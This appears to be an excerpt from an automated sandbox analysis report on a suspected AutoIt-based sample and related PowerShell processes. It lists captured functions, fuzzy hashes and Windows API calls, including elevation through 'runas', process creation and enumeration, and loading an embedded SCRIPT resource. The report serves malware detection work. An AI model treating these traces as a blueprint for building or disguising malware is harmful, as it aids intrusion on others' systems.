Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: aa3df20899554f527f07acfae9a82c5fe49767b716ee85256ad7bf6d28ee4848
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8D01677121CB0C4FD744EF0CE451AA5B7E0FB95364F10056DE59AC3665D736E882CB45

Function 00007FF84896363D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119960951.00007FF848960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b24beb2c51631da30cfe6e7e4fd5a5d0bc0c73bdb5d5f58f10087014aa108e
Instruction ID: 6e69abd7fadaf0ad4965e4f68a88c67653ca88b12391a7788ff4362130846898
Opcode Fuzzy Hash: e5b24beb2c51631da30cfe6e7e4fd5a5d0bc0c73bdb5d5f58f10087014aa108e
Instruction Fuzzy Hash: AFF09032A0D9458FE758EB1CE4469B8B7E0EF05360F1500BAE09DC7167DB2AAC428798

Function 00007FF848899E08 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119275393.00007FF848890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 726d22f84586f11ab536a79da12357f121396671f0510b63935d2338fb81af45
Instruction ID: 7b405c16366920858d956a429482eebdae3c8d7ed94aa34e5ec9a08dc6f8cf60
Opcode Fuzzy Hash: 726d22f84586f11ab536a79da12357f121396671f0510b63935d2338fb81af45
Instruction Fuzzy Hash: 23E04F30414A4C8FCB44EF18D809AE97BE0FB28305F00025BE81DD7120DB709698CBC2

Non-executed Functions

Function 00007FF848894FFB Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.3119275393.00007FF848890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff848890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b8625ae5e51acb235c47c55ea8b2182faa5f898bfaf793a34bb0287fb704d6f
Instruction ID: f71d913af3af234129bdd4ac9ec4617d3812919fac41814cfe03a04cbeaaf86f
Opcode Fuzzy Hash: 5b8625ae5e51acb235c47c55ea8b2182faa5f898bfaf793a34bb0287fb704d6f
Instruction Fuzzy Hash: 9891B317BCF5A62AE21136BE79461FDAF40DFC12F9B085377D29C89087CC48248656EB

Analysis Process: powershell.exePID: 4464, Parent PID: 3116COMMON

Executed Functions

Function 00007FF84877EB80 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3463809191.00007FF84877D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF84877D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff84877d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d39f1c2127ed77512aefda4b4ece29e86f3a4c648d50dddf222c87a9dc064868
Instruction ID: 703472927c95b2b584b8ebef1e97657794839fc9addb011e5ac4597d63c4024d
Opcode Fuzzy Hash: d39f1c2127ed77512aefda4b4ece29e86f3a4c648d50dddf222c87a9dc064868
Instruction Fuzzy Hash: A141453180EBC44FE7569B2898519627FF0EF52364F0505EFD089CB1A3D729B846C796

Analysis Process: 1d003e9e16.exePID: 6612, Parent PID: 6644COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1572
Total number of Limit Nodes:	55

Executed Functions

Function 003B42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 003B430D

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

GetCurrentProcess.KERNEL32(?,0044CB64,00000000,?,?), ref: 003B4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 003B4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 003B4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 003B4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 003B4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 003B447B
GetSystemInfo.KERNEL32(?,?,?), ref: 003B44A0

Strings

GetNativeSystemInfo, xrefs: 003B4460
kernel32.dll, xrefs: 003B444F
|O, xrefs: 003F36F8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: fb6afc86f10cd314af2438d0f3540c71f04a50cc95adc731235c8e0c21f6a10b
Instruction ID: 5b2fc0e6cc5044b6aaa330fccfc1a6457252c896a7d5eb48b225613f71141f32
Opcode Fuzzy Hash: fb6afc86f10cd314af2438d0f3540c71f04a50cc95adc731235c8e0c21f6a10b
Instruction Fuzzy Hash: D7A1B17590A2C4DFE713C76A78805ED3FAC6B26704B084CBFD98193E32D260465ACB2D

Function 003B42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,003B50AA,?,?,00000000,00000000), ref: 003B42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,003B50AA,?,?,00000000,00000000), ref: 003B42C9
LoadResource.KERNEL32(?,00000000,?,?,003B50AA,?,?,00000000,00000000,?,?,?,?,?,?,003B4F20), ref: 003F35BE
SizeofResource.KERNEL32(?,00000000,?,?,003B50AA,?,?,00000000,00000000,?,?,?,?,?,?,003B4F20), ref: 003F35D3
LockResource.KERNEL32(003B50AA,?,?,003B50AA,?,?,00000000,00000000,?,?,?,?,?,?,003B4F20,?), ref: 003F35E6

Strings

SCRIPT, xrefs: 003B42BF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: ab4052212b53f600a470cd5c4531274caa398e7809eb4599187c3fde3aff0681
Instruction ID: 5323dd3555493027895ed02914f321e4ac407d9fa15725b73f6070d71bc69063
Opcode Fuzzy Hash: ab4052212b53f600a470cd5c4531274caa398e7809eb4599187c3fde3aff0681
Instruction Fuzzy Hash: B711EC34201300BFE7228FA5DC89F637BB9EBC6B01F244569B5028A660DBB0D8009664

Function 003F2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 003B2B6B

Part of subcall function 003B3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00481418,?,003B2E7F,?,?,?,00000000), ref: 003B3A78

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00472224), ref: 003F2C10
ShellExecuteW.SHELL32(00000000,?,?,00472224), ref: 003F2C17

Strings

runas, xrefs: 003F2C0B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 66aeae63ac35a1d2d05b3d9b88a39f7f7362b598b26cb5e4d148f056b35c5092
Instruction ID: 6b85da78b2e6d2485c4f27e910973860778bc14d57ef1c9b565e79f550123ba6
Opcode Fuzzy Hash: 66aeae63ac35a1d2d05b3d9b88a39f7f7362b598b26cb5e4d148f056b35c5092
Instruction Fuzzy Hash: 6111D6712083056AC707FF60D892AFF7BA89F91708F54592EF7465B4A3CF248A4AC716

Function 0041D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0041D501
Process32FirstW.KERNEL32(00000000,?), ref: 0041D50F
Process32NextW.KERNEL32(00000000,?), ref: 0041D52F
CloseHandle.KERNELBASE(00000000), ref: 0041D5DC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: baf9e77f7df220f4323643c43cae5dc265f1ff815caaa6264fd98da296595ecf
Instruction ID: 252f9441ae389f62387fc2dcf68154e7e09f231dd58e2f8fbd4a260b2a9da07b
Opcode Fuzzy Hash: baf9e77f7df220f4323643c43cae5dc265f1ff815caaa6264fd98da296595ecf
Instruction Fuzzy Hash: 5231A471508300AFD301EF54C881BEFBBF8EF99358F14092EF685861A1EB719985CB92

Function 0041DBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,003F5222), ref: 0041DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0041DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0041DBEE
FindClose.KERNEL32(00000000), ref: 0041DBFA

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 7eab7e6d7fc6e44b70f86fc92fc7becefae182cf7b8258cc5cdf7a7124f0e1f6
Instruction ID: 3f4d11eae0f3e58fc1997c2756cf650c3f78f84580ffb67212d5664481580df7
Opcode Fuzzy Hash: 7eab7e6d7fc6e44b70f86fc92fc7becefae182cf7b8258cc5cdf7a7124f0e1f6
Instruction Fuzzy Hash: D5F0A078C119105782206B78AC4D8EB376CAE02334B184B53F936C21E0FBF45995C6DE

Function 003D4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(003E28E9,?,003D4CBE,003E28E9,004788B8,0000000C,003D4E15,003E28E9,00000002,00000000,?,003E28E9), ref: 003D4D09
TerminateProcess.KERNEL32(00000000,?,003D4CBE,003E28E9,004788B8,0000000C,003D4E15,003E28E9,00000002,00000000,?,003E28E9), ref: 003D4D10
ExitProcess.KERNEL32 ref: 003D4D22

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9d6e8dfea2b8a99700c44f0c7f9da4527f3c10df50e4c27e392a308750424c5d
Instruction ID: 97a70de6be0737f21468fe5f7a241a02765907e3757f40bd5d2fb5621df65010
Opcode Fuzzy Hash: 9d6e8dfea2b8a99700c44f0c7f9da4527f3c10df50e4c27e392a308750424c5d
Instruction Fuzzy Hash: 9DE0B636001188ABCF62AF64ED49A583B6AEB42781B194025FC058B223CB35DD42CA84

Function 0043AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0043B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0043B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0043B1D4
_wcslen.LIBCMT ref: 0043B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0043B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0043B236
_wcslen.LIBCMT ref: 0043B332

Part of subcall function 004205A7: GetStdHandle.KERNEL32(000000F6), ref: 004205C6

_wcslen.LIBCMT ref: 0043B34B
_wcslen.LIBCMT ref: 0043B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0043B3B6
GetLastError.KERNEL32(00000000), ref: 0043B407
CloseHandle.KERNEL32(?), ref: 0043B439
CloseHandle.KERNEL32(00000000), ref: 0043B44A
CloseHandle.KERNEL32(00000000), ref: 0043B45C
CloseHandle.KERNEL32(00000000), ref: 0043B46E
CloseHandle.KERNEL32(?), ref: 0043B4E3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 2e528d203eeea1e730e79dc850b24b827a58110a2bc05cfce4d27a434a9647cc
Instruction ID: cb683fb298344cdccad001e077098ecc9d516ad1dd280d490a68d7a3d79fbb9a
Opcode Fuzzy Hash: 2e528d203eeea1e730e79dc850b24b827a58110a2bc05cfce4d27a434a9647cc
Instruction Fuzzy Hash: D6F17B316042009FC725EF24C891B6BBBE5EF89314F14855EFA958F2A2CB35EC45CB96

Function 003BD730 Relevance: 21.6, APIs: 14, Instructions: 625windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 003BD807
timeGetTime.WINMM ref: 003BDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003BDB28
TranslateMessage.USER32(?), ref: 003BDB7B
DispatchMessageW.USER32(?), ref: 003BDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003BDB9F
Sleep.KERNELBASE(0000000A), ref: 003BDBB1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: fed1ce181387c4279e3e1b2b61ed5484770b67a5d3b33c674ad23f4f987a5407
Instruction ID: 473c1122c680876b700409ac2f77731ceee886fdd59d2deba918875d1a298723
Opcode Fuzzy Hash: fed1ce181387c4279e3e1b2b61ed5484770b67a5d3b33c674ad23f4f987a5407
Instruction Fuzzy Hash: 2042F670608341EFD72ACF24C888BAAB7E4BF45308F14456EE556976D1E7B4E844CF86

Function 003B2CD4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 003B2D07
RegisterClassExW.USER32(00000030), ref: 003B2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 003B2D42
InitCommonControlsEx.COMCTL32(?), ref: 003B2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003B2D6F
LoadIconW.USER32(000000A9), ref: 003B2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 003B2D94

Strings

+, xrefs: 003B2CF0
AutoIt v3 GUI, xrefs: 003B2D23
TaskbarCreated, xrefs: 003B2D37
x;, xrefs: 003B2D80, 003B2D8E
0, xrefs: 003B2CE9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated$x;
API String ID: 2914291525-1660440353
Opcode ID: d1eedee01c3e8a6f5ce2c28928b26b3c5a453293a34b446ddeb8e0319c479469
Instruction ID: 15d6e09efbd5cd9eb5313c07cbda070cd96fbe65d060be0488eb6c57a3234074
Opcode Fuzzy Hash: d1eedee01c3e8a6f5ce2c28928b26b3c5a453293a34b446ddeb8e0319c479469
Instruction Fuzzy Hash: 0A21F7B5902309AFDB40DFE4EC89BDDBBB8FB09700F04452AF511A62A0D7B50541CF98

Function 003F065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003F039A: CreateFileW.KERNELBASE(00000000,00000000,?,003F0704,?,?,00000000,?,003F0704,00000000,0000000C), ref: 003F03B7

GetLastError.KERNEL32 ref: 003F076F
__dosmaperr.LIBCMT ref: 003F0776
GetFileType.KERNELBASE(00000000), ref: 003F0782
GetLastError.KERNEL32 ref: 003F078C
__dosmaperr.LIBCMT ref: 003F0795
CloseHandle.KERNEL32(00000000), ref: 003F07B5
CloseHandle.KERNEL32(?), ref: 003F08FF
GetLastError.KERNEL32 ref: 003F0931
__dosmaperr.LIBCMT ref: 003F0938

Strings

H, xrefs: 003F08BD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d0be4ea0e2fbdde9e224ad5bb158eab203c8c0044f8cfa373824d2b9ce76aa7d
Instruction ID: a9ef9c934229d90c5157f6480d61881797d3bbf33fc96dc6f916de6994adfd33
Opcode Fuzzy Hash: d0be4ea0e2fbdde9e224ad5bb158eab203c8c0044f8cfa373824d2b9ce76aa7d
Instruction Fuzzy Hash: ADA11436A101088FDF1EAF6CD891BBE7BA0AB06320F14415EF9159F3A2D7719916CB91

Function 003B344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003B3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00481418,?,003B2E7F,?,?,?,00000000), ref: 003B3A78

Part of subcall function 003B3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 003B3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 003B356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 003F318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 003F31CE
RegCloseKey.ADVAPI32(?), ref: 003F3210
_wcslen.LIBCMT ref: 003F3277
_wcslen.LIBCMT ref: 003F3286

Strings

Include, xrefs: 003F3184, 003F31C5
\, xrefs: 003F328C
Software\AutoIt v3\AutoIt, xrefs: 003B3560
\Include\, xrefs: 003B3527

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 4efaa3b5bb508574f281981a1f2f7ceab3c251e748b9ec006cf30530d9ab02ef
Instruction ID: 582f6a0cfcfecf44feb6e444848684ace1cf0eb4a62e3acc95749bed41bf8b7d
Opcode Fuzzy Hash: 4efaa3b5bb508574f281981a1f2f7ceab3c251e748b9ec006cf30530d9ab02ef
Instruction Fuzzy Hash: 27719D71405304AEC316EF65ED929AFBBE8FF85344F40083EFA4587161EB749A48CB5A

Function 003B2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 003B2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 003B2B9D
LoadIconW.USER32(00000063), ref: 003B2BB3
LoadIconW.USER32(000000A4), ref: 003B2BC5
LoadIconW.USER32(000000A2), ref: 003B2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003B2BEF
RegisterClassExW.USER32(?), ref: 003B2C40

Part of subcall function 003B2CD4: GetSysColorBrush.USER32(0000000F), ref: 003B2D07
Part of subcall function 003B2CD4: RegisterClassExW.USER32(00000030), ref: 003B2D31
Part of subcall function 003B2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 003B2D42
Part of subcall function 003B2CD4: InitCommonControlsEx.COMCTL32(?), ref: 003B2D5F
Part of subcall function 003B2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003B2D6F
Part of subcall function 003B2CD4: LoadIconW.USER32(000000A9), ref: 003B2D85
Part of subcall function 003B2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 003B2D94

Strings

0, xrefs: 003B2C0F
#, xrefs: 003B2C16
AutoIt v3, xrefs: 003B2C2F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 513e7b3ae7ec8c8ffadf6b14d66f149358f51c477e68e65debb64d816479b7c9
Instruction ID: b335842fefd77959cdc2b8c8cfc79e94de38fb7863db81edee2a3fcf34b3de84
Opcode Fuzzy Hash: 513e7b3ae7ec8c8ffadf6b14d66f149358f51c477e68e65debb64d816479b7c9
Instruction Fuzzy Hash: 16211A74E01314ABEB109FA5EC95A9D7FB8FB48B50F04443FEA01A6AB0D7B50541CF98

Function 003B3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,003B316A,?,?), ref: 003B31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,003B316A,?,?), ref: 003B3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 003B3227
